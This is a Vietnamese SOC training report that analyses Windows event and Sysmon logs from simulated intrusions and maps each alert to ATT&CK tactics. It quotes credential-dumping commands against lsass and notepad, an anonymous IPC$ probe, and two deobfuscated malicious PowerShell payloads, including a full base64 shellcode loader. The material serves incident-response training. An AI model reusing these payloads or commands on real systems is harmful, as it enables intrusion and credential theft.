Tăng Thế Anh - Report

Security 1

Report 1:

- EventID: 4624
- Logged: 2/13/2019 10:15:36 PM
- Logon Type: 3 - Network.
- Security ID: NULL SID - Không xác định được subject xác thực new logon
- Account: NT AUTHORITY\ANONYMOUS LOGON
- Package Name: NTLM v1
- Workstation: PC01
- Source Network Address: 10.0.2.17
- Computer: PC02.example.corp

PC02 xác thực người dùng và cấp phiên đăng nhập là anonymous logon. Đây là một lỗi xác thực logon type 3 (SMB) hoặc 10 (RDP) khi đăng nhập ẩn danh, thực chất đây là failure logon dù trả về 4624.

Attacker thực hiện hành vi truy cập tới một shared folder với lệnh: `net use \\PC02\ipc$ "" /user:""` hoặc đăng nhập RDP sai mật khẩu nhằm thăm dò lỗ hổng.

⇒ Cần xác minh từ tier 2.

Report 2:

- EventID: 4624
- Logged: 2/13/2019 10:26:53 PM
- Account Name: PC02\IEUser - Normal User
- Logon Type: 10 - RDP
- Workstation Name: PC02
- Source Network Address: 127.0.0.1
- Computer: PC02.example.corp

Attacker có quyền truy cập vào máy PC02 với quyền SYSTEM và mạo danh IEUSER bằng việc kết nối RDP tới chính nó.

Local user IEUSER đăng nhập xác thực RDP với ip loopback 127.0.0.1 → Dấu hiệu **RDP Tunneling Attack**.

- Tactic: Protocol Tunneling - RDP (T1572)

⇒ True Positive.

Sysmon 1

Report:

- EventID: 1, 10, 11
- RuleName: CredAccess - Memdump
- ParentImage: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
- SourceImage: C:\Windows\system32\rundll32.exe
- TargetImage: C:\Windows\system32\notepad.exe
- Commandline:
  - `cscript c:\ProgramData\memdump.vbs notepad.exe`
  - `rundll32 C:\windows\system32\comsvcs.dll, MiniDump 4868 C:\Windows\System32\notepad.bin full`
- User: MSEDGEWIN10\IEUser

Attacker đã chiếm được MSEDGEWIN10 computer và IEUser có quyền SeDebugPrivilege rồi thực hiện dumping notepad.exe process (PID 4868) (sysmon 1) và lưu kết quả vào notepad.bin (sysmon 10). Bên cạnh đó, attacker còn thực thi command thông qua việc đăng kí Windows Management Instrumentation (WMI) event.

- Tactic:
  - OS Credential Dumping
  - Event Triggered Execution: Windows Management Instrumentation Event Subscription

⇒ True Positive.

Sysmon 2

Report:

- EventID: 10, 11
- SourceImage:
  - C:\Users\IEUser\Desktop\procdump.exe
  - C:\Windows\system32\taskmgr.exe
- TargetImage: C:\Windows\system32\lsass.exe
- TargetFileName:
  - C:\Users\IEUser\Desktop\lsass.exe_190317_120941.dmp
  - C:\Users\IEUser\AppData\Local\Temp\lsass (2).DMP
- Computer: PC04.example.corp

Attacker đã chiếm PC04 và đăng nhập vào user có quyền SeDebugPrivilege nhằm dumping lsass.exe (PID 476) bằng taskmgr.exe và procdump.exe rồi lưu kết quả vào các file dmp.

Tactic: OS Credential Dumping - lsass memory.

⇒ True Positive.

Sysmon 3

- EventID: 1
- ParentImage: w3wp.exe - Web Server process
- ParentCommandline: `c:\windows\system32\inetsrv\w3wp.exe -ap "DefaultAppPool" -v "v2.0" -l "webengine4.dll" -a \\.\pipe\iisipm7486e07c-453c-4f8e-85c6-8c8e3be98cd5 -h "C:\inetpub\temp\apppools\DefaultAppPool\DefaultAppPool.config" -w "" -m 0 -t 20`
- Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
- User: IIS APPPOOL\DefaultAppPool
- Computer: `IEWIN7`

Attacker đã thả một webshell vào webserver (IEWIN7), có thể ở folder wwwroot nhằm thực thi powershell payload.

Decrypted Powershell:

```
$ProgressPreference = "SilentlyContinue";
$path_in_module="C:\Windows\Temp\6jrxk3\gfg9i";
$path_in_app_code="C:\Windows\Temp\6jrxk3\nja9t64rrlu8";
$key=
[System.Text.Encoding]::UTF8.GetBytes('8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3
$enc_module=[System.IO.File]::ReadAllBytes($path_in_module);
$enc_app_code=[System.IO.File]::ReadAllBytes($path_in_app_code);
$dec_module=New-Object Byte[] $enc_module.Length;
$dec_app_code=New-Object Byte[] $enc_app_code.Length;
for ($i = 0; $i -lt $enc_module.Length; $i++) {
    $dec_module[$i] = $enc_module[$i] -bxor $key[$i % $key.Length];
};
for ($i = 0; $i -lt $enc_app_code.Length; $i++) {
    $dec_app_code[$i] = $enc_app_code[$i] -bxor $key[$i % $key.Length];
};
$dec_module=[System.Text.Encoding]::UTF8.GetString($dec_module);
$dec_app_code=[System.Text.Encoding]::UTF8.GetString($dec_app_code);
$($dec_module+$dec_app_code)|iex;Remove-Item -Path $path_in_app_code -Force 2>&1 | Ou
```

⇒ Process chạy slient, decrypt 2 script đặt ở Temp folder thành plaintext nhằm thực thi chúng, cuối cùng che giấu vết bằng cách xóa chúng đi.

- EventID: 10
- Image: C:\Windows\System32\inetsrv\appcmd.exe
- ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Sau đó, powershell.exe tạo appcmd.exe nhằm thực hiện reconnaissance.

In short: Attacker đã thả một webshell vào webserver (IEWIN7), có thể ở folder wwwroot nhằm thực thi powershell payload. Powershell.exe chạy slient, decrypt 2 script đặt ở Temp folder thành plaintext nhằm thực thi chúng, cuối cùng che giấu vết bằng cách xóa chúng đi. Cuối cùng, powershell.exe tạo appcmd.exe nhằm thực hiện reconnaissance thông qua các command `list vdir` và `list apppools`.

Tactic:

- Server Software Component: Web Shell
- Indicator Removal: File Deletion
- Reconnaissance
- Command and Scripting Interpreter: PowerShell

⇒ True Positive.

Sysmon 4

- EventID: 1, 10, 13
  - UtcTime: 2019-04-30 20:26:51.934
  - ProcessId: 460
  - Image: C:\Windows\system32\services.exe
  - TargetObject: HKLM\System\CurrentControlSet\services\hello\Start
  - TargetObject: HKLM\System\CurrentControlSet\services\hello\ImagePath
  - Details: `%%COMSPEC%% /b /c start /b /min powershell.exe -nop -w hidden`
  - Computer: IEWIN7
- **Decrypted Powershell Script:**

```
PS C:\Users\DELL\Downloads\SOC Training\Test1> .\decode.ps1
function bmj90 {
        Param ($eX, $iM)
        $e2 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Micros
oft.Win32.UnsafeNativeMethods')

        return $e2.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef]
(New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($e2.GetMethod('GetModuleHandle')).Invoke($null, @($eX)))), $iM))
}

function qKXi {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $fG,
                [Parameter(Position = 1)] [Type] $ozWx = [Void]
        )

        $wt = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAc
cess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $wt.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $fG).SetImplementationFlags('Runtime, Managed')
        $wt.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ozWx, $fG).SetImplementationFlags('Runtime, Managed')

        return $wt.CreateType()
}

[Byte[]]$zY = [System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYD
ffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmgKAAITaAIAEVyJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdA
r/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vgHSoKaKaVvZ3/1TwG
fAqA++B1BbtHE3JvagBT/9U=")

$fzhZ = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((bmj90 kernel32.dll VirtualAlloc), (qKXi @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPt
r]))).Invoke([IntPtr]::Zero, $zY.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($zY, 0, $fzhZ, $zY.length)

$hRVr4 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((bmj90 kernel32.dll CreateThread), (qKXi @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt3
2], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$fzhZ,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((bmj90 kernel32.dll WaitForSingleObject), (qKXi @([IntPtr], [Int32]))).Invoke($hRVr4,0xffffffff) |
 Out-Null
```

Attacker đã chiếm quyền kiểm soát máy tính, phát hiện từ việc set value Service HKLM registry, tạo ra một service tên Hello thực thi powershell script được mã hóa. Mỗi khi service bắt đầu, services.exe tạo ra cmd.exe (%COMSPEC%) thực hiện hành vi access tới powershell.exe nhằm thực thi payload.

Tactic:

- Hijack Execution Flow: Services Registry Permissions Weakness (T1574.011).
- Command and Scripting Interpreter: PowerShell
- Command and Scripting Interpreter: CMD

⇒ True Positive.

Sysmon 6

- EventID: 1
- Image: `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe`
- CommandLine: `powershell $env:I4Pzl|.(Get-C`ommand ('{1}e{0}'-f'x','i'))`
- ParentImage: `C:\Windows\System32\wbem\WmiPrvSE.exe`
- ParentCommandLine: `C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding`
- User: OFFSEC\admmig
- LogonId: 0x35D1AAD
- TerminalSessionId: 0
- IntegrityLevel: High
- Computer: fs03vuln.offsec.lan

Deobfuscation: `powershell $env:I4Pzl | iex`

Attacker đã chiếm fs03vuln.offsec.lan PC và đăng nhập vào privileged user là OFSEC\admmig. Sau đó, thực hiện thiết lập persistence thông qua thực thi obfuscated powershell.exe được bởi kích hoạt Windows Management Instrumentation (WMI) event subscription.

Trước khi thực thi powershell, attacker tạo một malicious environment variable gọi là I4Pzl.

Tactic:

- Event Triggered Execution: Windows Management Instrumentation Event Subscription
- Command and Scripting Interpreter: PowerShell

⇒ True Positive.

System

- EventID: 7045
- Service File Name: `c:\windows\system32\cmd.exe /c powershell -command "Get-Service "seg1" | select -Expand DisplayName |out-file -append tmp_payload.txt"`
- Service Type: user mode service
- Service Start Type: demand start
- Service Account: LocalSystem

Attacker đã chiếm quyền kiểm soát máy tính với quyền LocalSystem . Sau đó, attacker tạo hàng loạt các service nhằm lấy thông tin chúng (Get-Service) rồi lưu kết quả vào file txt.

Tactic:

- Create or Modify System Process: Windows Service (T1543.003)
- Command and Scripting Interpreter: PowerShell
- Command and Scripting Interpreter: CMD

⇒ True Positive.